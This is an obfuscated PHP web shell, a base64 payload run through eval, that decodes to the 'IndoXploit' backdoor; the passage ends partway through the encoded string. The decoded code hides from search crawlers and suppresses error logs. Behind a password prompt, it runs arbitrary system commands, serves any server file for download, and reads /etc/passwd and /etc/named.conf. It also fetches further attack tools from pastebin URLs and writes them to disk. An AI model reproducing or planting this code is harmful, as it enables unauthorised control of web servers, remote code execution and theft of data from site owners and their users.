eval("".base64_decode("PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQppZih2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8JykpIHsNCglAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0KfQ0KQGNsZWFyc3RhdGNhY2hlKCk7DQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOw0KQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQokcGFzc3dvcmQgPSAiOWVmZDkzYTJiNzBjZWViOTYwYjcwMDg5M2RkNjViNmMiOyAjIG1kNTogZjB4YmFzZQ0KJFNFUlZFUklQICA9ICghJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10pID8gZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIDogJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ107DQokRklMRVBBVEggID0gc3RyX3JlcGxhY2UoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSwgIiIsIHBhdGgoKSk7DQppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZWJvdCIsICJTbHVycCIsICJNU05Cb3QiLCAiUHljVVJMIiwgImZhY2Vib29rZXh0ZXJuYWxoaXQiLCAiaWFfYXJjaGl2ZXIiLCAiY3Jhd2xlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJZYWhvbyEgU2x1cnAiLCAiWWFob29TZWVrZXIiLCAiYmluZ2JvdCIsICJjdXJsIik7DQogICAgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2RlKCd8JywgJHVzZXJBZ2VudHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsNCiAgICAgICAgZXhpdDsNCiAgICB9DQp9DQpmdW5jdGlvbiBsb2dpbl9zaGVsbCgpIHsNCj8+DQo8IURPQ1RZUEUgSFRNTD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+SW5kb1hwbG9pdDwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KaHRtbCB7DQoJbWFyZ2luOiAyMHB4IGF1dG87DQoJYmFja2dyb3VuZDogIzAwMDAwMDsNCgljb2xvcjogZ3JlZW47DQoJdGV4dC1hbGlnbjogY2VudGVyOw0KfQ0KaGVhZGVyIHsNCgljb2xvcjogZ3JlZW47DQoJbWFyZ2luOiAxMHB4IGF1dG87DQp9DQppbnB1dFt0eXBlPXBhc3N3b3JkXSB7DQoJd2lkdGg6IDI1MHB4Ow0KCWhlaWdodDogMjVweDsNCgljb2xvcjogcmVkOw0KCWJhY2tncm91bmQ6IHRyYW5zcGFyZW50Ow0KCWJvcmRlcjogMXB4IGRvdHRlZCBncmVlbjsNCgltYXJnaW4tbGVmdDogMjBweDsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KPGNlbnRlcj4NCjxoZWFkZXI+DQoJPHByZT4NCgkNCiBfX19fX19fICAgICAgICAgICBfX19fX19fICBfICAgICAgICBfICAgICAgIF9fX19fX19fXyBfX19fX19fICBfX19fX19fIA0KKCAgX19fXyBcfFwgICAgIC98KCAgX19fXyBcKCBcICAgICAgKCBcICAgICAgXF9fICAgX18vLyBfX18gICApKCAgICAgICApDQp8ICggICAgXC98ICkgICAoIHx8ICggICAgXC98ICggICAgICB8ICggICAgICAgICApICggICBcLyAgICkgIHx8ICgpICgpIHwNCnwgKF9fX19fIHwgKF9fXykgfHwgKF9fICAgIHwgfCAgICAgIHwgfCAgICAgICAgIHwgfCAgICAgICAvICAgKXwgfHwgfHwgfA0KKF9fX19fICApfCAgX19fICB8fCAgX18pICAgfCB8ICAgICAgfCB8ICAgICAgICAgfCB8ICAgICAgLyAgIC8gfCB8KF8pfCB8DQogICAgICApIHx8ICggICApIHx8ICggICAgICB8IHwgICAgICB8IHwgICAgICAgICB8IHwgICAgIC8gICAvICB8IHwgICB8IHwNCi9cX19fXykgfHwgKSAgICggfHwgKF9fX18vXHwgKF9fX18vXHwgKF9fX18vXF9fXykgKF9fXyAvICAgKF8vXHwgKSAgICggfA0KXF9fX19fX18pfC8gICAgIFx8KF9fX19fX18vKF9fX19fX18vKF9fX19fX18vXF9fX19fX18vKF9fX19fX18vfC8gICAgIFx8DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgk8L3ByZT4NCjwvaGVhZGVyPg0KPC9jZW50ZXI+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzd29yZCI+DQo8L2Zvcm0+DQo8P3BocA0KZXhpdDsNCn0NCmlmKCFpc3NldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSkNCiAgICBpZihlbXB0eSgkcGFzc3dvcmQpIHx8IChpc3NldCgkX1BPU1RbJ3Bhc3N3b3JkJ10pICYmIChtZDUoJF9QT1NUWydwYXNzd29yZCddKSA9PSAkcGFzc3dvcmQpKSkNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRydWU7DQogICAgZWxzZQ0KICAgICAgICBsb2dpbl9zaGVsbCgpOw0KaWYoaXNzZXQoJF9HRVRbJ2ZpbGUnXSkgJiYgKCRfR0VUWydmaWxlJ10gIT0gJycpICYmICgkX0dFVFsnYWN0J10gPT0gJ2Rvd25sb2FkJykpIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICAkZmlsZSA9ICRfR0VUWydmaWxlJ107DQogICAgaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyJyk7DQogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOw0KICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicuYmFzZW5hbWUoJGZpbGUpLiciJyk7DQogICAgaGVhZGVyKCdFeHBpcmVzOiAwJyk7DQogICAgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUnKTsNCiAgICBoZWFkZXIoJ1ByYWdtYTogcHVibGljJyk7DQogICAgaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIGZpbGVzaXplKCRmaWxlKSk7DQogICAgcmVhZGZpbGUoJGZpbGUpOw0KICAgIGV4aXQ7DQp9DQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7DQoJZnVuY3Rpb24gaWR4X3NzKCRhcnJheSkgew0KCQlyZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnaWR4X3NzJywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KCX0NCgkkX1BPU1QgPSBpZHhfc3MoJF9QT1NUKTsNCn0NCj8+DQo8IURPQ1RZUEUgSFRNTD4NCjxodG1sPg0KPCEtLQ0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KLy8gVGhhbmtzIGJ1YXQgT3Jhbmctb3JhbmcgeWcgbWVtYmFudHUgZGFsYW0gcHJvc2VzIHBlbWJ1YXRhbiBzaGVsbCBpbmkuDQovLyBTaGVsbCBpbmkgdGlkYWsgc2VwZW51aG55YSAxMDAlIENvZGluZyBtYW51YWwsIGFkYSBiZWJlcmFwYSBmdW5jdGlvbiBkYW4gdG9vbHMga2l0YSBhbWJpbCBkYXJpIHNoZWxsIHlhbmcgc3VkYWggYWRhLg0KLy8gVGFwaSBTZWxlYmlobnlhLCBpdHUgaGFzaWwga3JlYXNpIEluZG9YcGxvaXQgc2VuZGlyaS4NCi8vIFRhbnBhIGthbGlhbiBraXRhIHRpZGFrIGFrYW4gQkVTQVIgc2VwZXJ0aSBzZWthcmFuZy4NCi8vIEdyZWV0ejogQWxsIE1lbWJlciBJbmRvWHBsb2l0LiAmIEFsbCBNeSBGcmllbmRzLg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KLy8gU3BlY2lhbCBUaGFua3M6IERlcG9rIEN5YmVyIFNlY3VyaXR5IHwgU2FuanVuZ2FuIEppd2EgfCAweDE5OTkNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNjb21tYW5kIFByb21wdCMjIw0KLS0+DQo8aGVhZD4NCjx0aXRsZT5JbmRvWHBsb2l0PC90aXRsZT4NCjxtZXRhIG5hbWU9J2F1dGhvcicgY29udGVudD0nSW5kb1hwbG9pdCc+DQo8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQo8c3R5bGUgdHlwZT0ndGV4dC9jc3MnPg0KQGltcG9ydCB1cmwoaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PVVidW50dSk7DQpodG1sIHsNCiAgICBiYWNrZ3JvdW5kOiAjMDAwMDAwOw0KCWNvbG9yOiAjZmZmZmZmOw0KCWZvbnQtc2l6ZTogMTRweDsNCgl3aWR0aDogMTAwJTsNCn0NCmxpIHsNCglkaXNwbGF5OiBpbmxpbmU7DQoJbWFyZ2luOiA1cHg7DQoJcGFkZGluZzogNXB4Ow0KfQ0KYSB7DQoJY29sb3I6ICNmZmZmZmY7DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KfQ0KYTpob3ZlciB7DQoJY29sb3I6IGN5YW47DQoJdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7DQp9DQpiIHsNCgljb2xvcjogY3lhbjsNCn0NCnByZSB7DQoJZm9udC1zaXplOiAxM3B4Ow0KfQ0KdGFibGUsIHRoLCB0ZCB7DQoJYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlOw0KCWJhY2tncm91bmQ6IHRyYW5zcGFyZW50Ow0KCWZvbnQtZmFtaWx5OiAnVWJ1bnR1IG1vbm8nOw0KCWZvbnQtc2l6ZTogMTNweDsNCn0NCi50YWJsZV9ob21lLCAudGhfaG9tZSwgLnRkX2hvbWUgew0KCWJvcmRlcjogMXB4IHNvbGlkICNmZmZmZmY7DQp9DQoudGhfaG9tZSB7DQoJY29sb3I6IGN5YW47DQp9DQoudGRfaG9tZSwgLnRkX2hvbWUgPiBhIHsNCgljb2xvcjogI2ZmZmZmZjsNCn0NCi50ZF9ob21lID4gYTpob3ZlciB7DQoJY29sb3I6IGdvbGQ7DQp9DQp0aCB7DQoJcGFkZGluZzogMTBweDsNCn0NCnRyOmhvdmVyIHsNCgliYWNrZ3JvdW5kOiAjMDA2NDAwOw0KCWNvbG9yOiAjZmZmZmZmOw0KfQ0KaW5wdXRbdHlwZT10ZXh0XSwgaW5wdXRbdHlwZT1wYXNzd29yZF0sIC5pbnB1dCB7DQoJYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IA0KCWNvbG9yOiAjZmZmZmZmOw0KCWJvcmRlcjogMXB4IHNvbGlkICNmZmZmZmY7DQoJcGFkZGluZzogM3B4Ow0KCWZvbnQtZmFtaWx5OiAnVWJ1bnR1JzsNCglmb250LXNpemU6IDEzcHg7DQp9DQppbnB1dFt0eXBlPXN1Ym1pdF0gew0KCXBhZGRpbmc6IDJweDt9DQppbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXIgew0KCWN1cnNvcjogcG9pbnRlcjsNCn0NCmlucHV0OmZvY3VzLCB0ZXh0YXJlYTpmb2N1cyB7DQogIG91dGxpbmU6IDA7DQogIGJvcmRlci1jb2xvcjogI2ZmZmZmZjsNCn0NCnRleHRhcmVhIHsNCglib3JkZXI6IDFweCBzb2xpZCAjZmZmZmZmOw0KCXdpZHRoOiAxMDAlOw0KCWhlaWdodDogNDAwcHg7DQoJcGFkZGluZy1sZWZ0OiA1cHg7DQoJbWFyZ2luOiAxMHB4IGF1dG87DQoJcmVzaXplOiBub25lOw0KCWJhY2tncm91bmQ6IHRyYW5zcGFyZW50Ow0KCWNvbG9yOiAjZmZmZmZmOw0KCWZvbnQtZmFtaWx5OiAnVWJ1bnR1JzsNCglmb250LXNpemU6IDEzcHg7DQp9DQppZnJhbWUgew0KCXdpZHRoOiAxMDAlOw0KCW1pbi1oZWlnaHQ6IDUwMHB4Ow0KfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGNlbnRlcj4NCjxoZWFkZXI+DQoJPHByZT4NCiBfX19fX19fICAgICAgICAgICBfX19fX19fICBfICAgICAgICBfICAgICAgIF9fX19fX19fXyBfX19fX19fICBfX19fX19fIA0KKCAgX19fXyBcfFwgICAgIC98KCAgX19fXyBcKCBcICAgICAgKCBcICAgICAgXF9fICAgX18vLyBfX18gICApKCAgICAgICApDQp8ICggICAgXC98ICkgICAoIHx8ICggICAgXC98ICggICAgICB8ICggICAgICAgICApICggICBcLyAgICkgIHx8ICgpICgpIHwNCnwgKF9fX19fIHwgKF9fXykgfHwgKF9fICAgIHwgfCAgICAgIHwgfCAgICAgICAgIHwgfCAgICAgICAvICAgKXwgfHwgfHwgfA0KKF9fX19fICApfCAgX19fICB8fCAgX18pICAgfCB8ICAgICAgfCB8ICAgICAgICAgfCB8ICAgICAgLyAgIC8gfCB8KF8pfCB8DQogICAgICApIHx8ICggICApIHx8ICggICAgICB8IHwgICAgICB8IHwgICAgICAgICB8IHwgICAgIC8gICAvICB8IHwgICB8IHwNCi9cX19fXykgfHwgKSAgICggfHwgKF9fX18vXHwgKF9fX18vXHwgKF9fX18vXF9fXykgKF9fXyAvICAgKF8vXHwgKSAgICggfA0KXF9fX19fX18pfC8gICAgIFx8KF9fX19fX18vKF9fX19fX18vKF9fX19fX18vXF9fX19fX18vKF9fX19fX18vfC8gICAgIFx8DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KCTwvcHJlPg0KPC9oZWFkZXI+DQo8L2NlbnRlcj4NCjw/cGhwDQpmdW5jdGlvbiBwYXRoKCkgew0KCWlmKGlzc2V0KCRfR0VUWydkaXInXSkpIHsNCgkJJGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJF9HRVRbJ2RpciddKTsNCgkJQGNoZGlyKCRkaXIpOw0KCX0gZWxzZSB7DQoJCSRkaXIgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsIGdldGN3ZCgpKTsNCgl9DQoJcmV0dXJuICRkaXI7DQp9DQpmdW5jdGlvbiBjb2xvcigkYm9sZCA9IDEsICRjb2xvcmlkID0gbnVsbCwgJHN0cmluZyA9IG51bGwpIHsNCgkJJGNvbG9yID0gYXJyYXkoDQoJCQkiPC9mb250PiIsICAJCQkjIDAgb2ZmDQoJCQkiPGZvbnQgY29sb3I9J3JlZCc+IiwJIyAxIHJlZCANCgkJCSI8Zm9udCBjb2xvcj0nbGltZSc+IiwJIyAyIGxpbWUNCgkJCSI8Zm9udCBjb2xvcj0nd2hpdGUnPiIsCSMgMyB3aGl0ZQ0KCQkJIjxmb250IGNvbG9yPSdnb2xkJz4iLAkjIDQgZ29sZA0KCQkpOw0KCXJldHVybiAoJHN0cmluZyAhPT0gbnVsbCkgPyAkY29sb3JbJGNvbG9yaWRdLiRzdHJpbmcuJGNvbG9yWzBdOiAkY29sb3JbJGNvbG9yaWRdOw0KfQ0KZnVuY3Rpb24gT1MoKSB7DQoJcmV0dXJuIChzdWJzdHIoc3RydG91cHBlcihQSFBfT1MpLCAwLCAzKSA9PT0gIldJTiIpID8gIldpbmRvd3MiIDogIkxpbnV4IjsNCn0NCmZ1bmN0aW9uIGV4ZSgkY21kKSB7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgeyAJCQ0KCQlAb2Jfc3RhcnQoKTsgCQkNCgkJQHN5c3RlbSgkY21kKTsgCQkNCgkJJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IAkJDQoJCUBvYl9lbmRfY2xlYW4oKTsgCQkNCgkJcmV0dXJuICRidWZmOyAJDQoJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsgCQkNCgkJQGV4ZWMoJGNtZCwkcmVzdWx0cyk7IAkJDQoJCSRidWZmID0gIiI7IAkJDQoJCWZvcmVhY2goJHJlc3VsdHMgYXMgJHJlc3VsdCkgeyAJCQkNCgkJCSRidWZmIC49ICRyZXN1bHQ7IAkJDQoJCX0gcmV0dXJuICRidWZmOyAJDQoJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7IAkJDQoJCUBvYl9zdGFydCgpOyAJCQ0KCQlAcGFzc3RocnUoJGNtZCk7IAkJDQoJCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOyAJCQ0KCQlAb2JfZW5kX2NsZWFuKCk7IAkJDQoJCXJldHVybiAkYnVmZjsgCQ0KCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7IAkJDQoJCSRidWZmID0gQHNoZWxsX2V4ZWMoJGNtZCk7IAkJDQoJCXJldHVybiAkYnVmZjsgCQ0KCX0gDQp9DQpmdW5jdGlvbiBzYXZlKCRmaWxlbmFtZSwgJG1vZGUsICRmaWxlKSB7DQoJJGhhbmRsZSA9IGZvcGVuKCRmaWxlbmFtZSwgJG1vZGUpOw0KCWZ3cml0ZSgkaGFuZGxlLCAkZmlsZSk7DQoJZmNsb3NlKCRoYW5kbGUpOw0KCXJldHVybjsNCn0NCmZ1bmN0aW9uIGdldGZpbGUoJG5hbWUpIHsNCglpZighaXNfd3JpdGFibGUocGF0aCgpKSkgZGllKGNvbG9yKDEsIDEsICJEaXJlY3RvcnkgJyIucGF0aCgpLiInIGlzIG5vdCB3cml0ZWFibGUuIENhbid0IHNwYXduICRuYW1lLiIpKTsNCglpZigkbmFtZSA9PT0gImFkbWluZXIiKSAkZ2V0ID0gYXJyYXkoImh0dHBzOi8vd3d3LmFkbWluZXIub3JnL3N0YXRpYy9kb3dubG9hZC80LjMuMS9hZG1pbmVyLTQuMy4xLnBocCIsICJhZG1pbmVyLnBocCIpOw0KCWVsc2VpZigkbmFtZSA9PT0gIndlYmNvbnNvbGUiKSAkZ2V0ID0gYXJyYXkoImh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy8yaTk2ZkRDTiIsICJ3ZWJjb25zb2xlLnBocCIpOw0KCWVsc2VpZigkbmFtZSA9PT0gImNnaXRlbG5ldDEiKSAkZ2V0ID0gYXJyYXkoImh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9MajQ2S3hGVCIsICJpZHhfY2dpL2NnaXRlbG5ldDEuaWR4Iik7DQoJZWxzZWlmKCRuYW1lID09PSAiY2dpdGVsbmV0MiIpICRnZXQgPSBhcnJheSgiaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2FLTDJRV2ZTIiwgImlkeF9jZ2kvY2dpdGVsbmV0Mi5pZHgiKTsNCgllbHNlaWYoJG5hbWUgPT09ICJMUkUiKSAkZ2V0ID0gYXJyYXkoImh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9QVlBmQTIxaSIsICJtYWttYW4ucGhwIik7DQoJJGZwID0gZm9wZW4oJGdldFsxXSwgInciKTsNCgkkY2ggPSBjdXJsX2luaXQoKTsNCgkgCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJGdldFswXSk7DQoJIAkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9CSU5BUllUUkFOU0ZFUiwgdHJ1ZSk7DQoJIAkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7DQoJIAkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOw0KCSAJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIGZhbHNlKTsNCgkgICAJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsNCglyZXR1cm4gY3VybF9leGVjKCRjaCk7DQoJICAgCSAgY3VybF9jbG9zZSgkY2gpOw0KCWZjbG9zZSgkZnApOw0KCW9iX2ZsdXNoKCk7DQoJZmx1c2goKTsNCn0NCmZ1bmN0aW9uIHVzZXJncm91cCgpIHsNCglpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsNCgkJJHVzZXJbJ25hbWUnXSAJPSBAZ2V0X2N1cnJlbnRfdXNlcigpOw0KCQkkdXNlclsndWlkJ10gIAk9IEBnZXRteXVpZCgpOw0KCQkkdXNlclsnZ2lkJ10gIAk9IEBnZXRteWdpZCgpOw0KCQkkdXNlclsnZ3JvdXAnXQk9ICI/IjsNCgl9IGVsc2Ugew0KCQkkdXNlclsndWlkJ10gCT0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7DQoJCSR1c2VyWydnaWQnXSAJPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsNCgkJJHVzZXJbJ25hbWUnXSAJPSAkdXNlclsndWlkJ11bJ25hbWUnXTsNCgkJJHVzZXJbJ3VpZCddIAk9ICR1c2VyWyd1aWQnXVsndWlkJ107DQoJCSR1c2VyWydncm91cCddIAk9ICR1c2VyWydnaWQnXVsnbmFtZSddOw0KCQkkdXNlclsnZ2lkJ10gCT0gJHVzZXJbJ2dpZCddWydnaWQnXTsNCgl9DQoJcmV0dXJuIChvYmplY3QpICR1c2VyOw0KfQ0KZnVuY3Rpb24gZ2V0dXNlcigpIHsNCgkkZm9wZW4gPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpIG9yIGRpZShjb2xvcigxLCAxLCAiQ2FuJ3QgcmVhZCAvZXRjL3Bhc3N3ZCIpKTsNCgl3aGlsZSgkcmVhZCA9IGZnZXRzKCRmb3BlbikpIHsNCgkJcHJlZ19tYXRjaF9hbGwoJy8oLio/KTp4Oi8nLCAkcmVhZCwgJGdldHVzZXIpOw0KCQkkdXNlcltdID0gJGdldHVzZXJbMV1bMF07DQoJfQ0KCXJldHVybiAkdXNlcjsNCn0NCmZ1bmN0aW9uIGdldGRvbWFpbm5hbWUoKSB7DQoJJGZvcGVuID0gZm9wZW4oIi9ldGMvbmFtZWQuY29uZiIsICJyIik7DQoJd2hpbGUoJHJlYWQgPSBmZ2V0cygkZm9wZW4pKSB7DQoJCXByZWdfbWF0Y2hfYWxsKCIjL3Zhci9uYW1lZC8oLio/KS5kYiMiLCAkcmVhZCwgJGdldGRvbWFpbik7DQoJCSRkb21haW5bXSA9ICRnZXRkb21haW5bMV1bMF07DQoJfQ0KCXJldHVybiAkZG9tYWluOw0KfQ0KZnVuY3Rpb24gaGRkc2l6ZSgkc2l6ZSkgew0KCWlmKCRzaXplID49IDEwNzM3NDE4MjQpDQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsJHNpemUgLyAxMDczNzQxODI0ICkuJyBHQic7DQoJZWxzZWlmKCRzaXplID49IDEwNDg1NzYpDQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsJHNpemUgLyAxMDQ4NTc2ICkgLicgTUInOw0KCWVsc2VpZigkc2l6ZSA+PSAxMDI0KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCRzaXplIC8gMTAyNCApIC4nIEtCJzsNCgllbHNlDQoJCXJldHVybiAkc2l6ZSAuJyBCJzsNCn0NCmZ1bmN0aW9uIGhkZCgpIHsNCgkkaGRkWydzaXplJ10gPSBoZGRzaXplKGRpc2tfdG90YWxfc3BhY2UoIi8iKSk7DQoJJGhkZFsnZnJlZSddID0gaGRkc2l6ZShkaXNrX2ZyZWVfc3BhY2UoIi8iKSk7DQoJJGhkZFsndXNlZCddID0gJGhkZFsnc2l6ZSddIC0gJGhkZFsnZnJlZSddOw0KCXJldHVybiAob2JqZWN0KSAkaGRkOw0KfQ0KZnVuY3Rpb24gd3JpdGVhYmxlKCRwYXRoLCAkcGVybXMpIHsNCglyZXR1cm4gKCFpc193cml0YWJsZSgkcGF0aCkpID8gY29sb3IoMSwgMSwgJHBlcm1zKSA6IGNvbG9yKDEsIDIsICRwZXJtcyk7DQp9DQpmdW5jdGlvbiBwZXJtcygkcGF0aCkgew0KCSRwZXJtcyA9IGZpbGVwZXJtcygkcGF0aCk7DQoJaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgew0KCQkvLyBTb2NrZXQNCgkJJGluZm8gPSAncyc7DQoJfSANCgllbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgew0KCQkvLyBTeW1ib2xpYyBMaW5rDQoJCSRpbmZvID0gJ2wnOw0KCX0gDQoJZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsNCgkJLy8gUmVndWxhcg0KCQkkaW5mbyA9ICctJzsNCgl9IA0KCWVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7DQoJCS8vIEJsb2NrIHNwZWNpYWwNCgkJJGluZm8gPSAnYic7DQoJfSANCgllbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgew0KCQkvLyBEaXJlY3RvcnkNCgkJJGluZm8gPSAnZCc7DQoJfSANCgllbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgew0KCQkvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KCQkkaW5mbyA9ICdjJzsNCgl9IA0KCWVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7DQoJCS8vIEZJRk8gcGlwZQ0KCQkkaW5mbyA9ICdwJzsNCgl9IA0KCWVsc2Ugew0KCQkvLyBVbmtub3duDQoJCSRpbmZvID0gJ3UnOw0KCX0NCgkJLy8gT3duZXINCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8NCgkoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6DQoJKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJLy8gR3JvdXANCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8NCgkoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQoJKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQoJLy8gV29ybGQNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCgkoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6DQoJKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoJcmV0dXJuICRpbmZvOw0KfQ0KZnVuY3Rpb24gbGliX2luc3RhbGxlZCgpIHsNCgkkbGliW10gPSAiTXlTUUw6ICIuKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpID8gY29sb3IoMSwgMiwgIk9OIikgOiBjb2xvcigxLCAxLCAiT0ZGIikpOw0KCSRsaWJbXSA9ICJjVVJMOiAiLihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpID8gY29sb3IoMSwgMiwgIk9OIikgOiBjb2xvcigxLCAxLCAiT0ZGIikpOw0KCSRsaWJbXSA9ICJXR0VUOiAiLihleGUoJ3dnZXQgLS1oZWxwJykgPyBjb2xvcigxLCAyLCAiT04iKSA6IGNvbG9yKDEsIDEsICJPRkYiKSk7DQoJJGxpYltdID0gIlBlcmw6ICIuKGV4ZSgncGVybCAtLWhlbHAnKSA/IGNvbG9yKDEsIDIsICJPTiIpIDogY29sb3IoMSwgM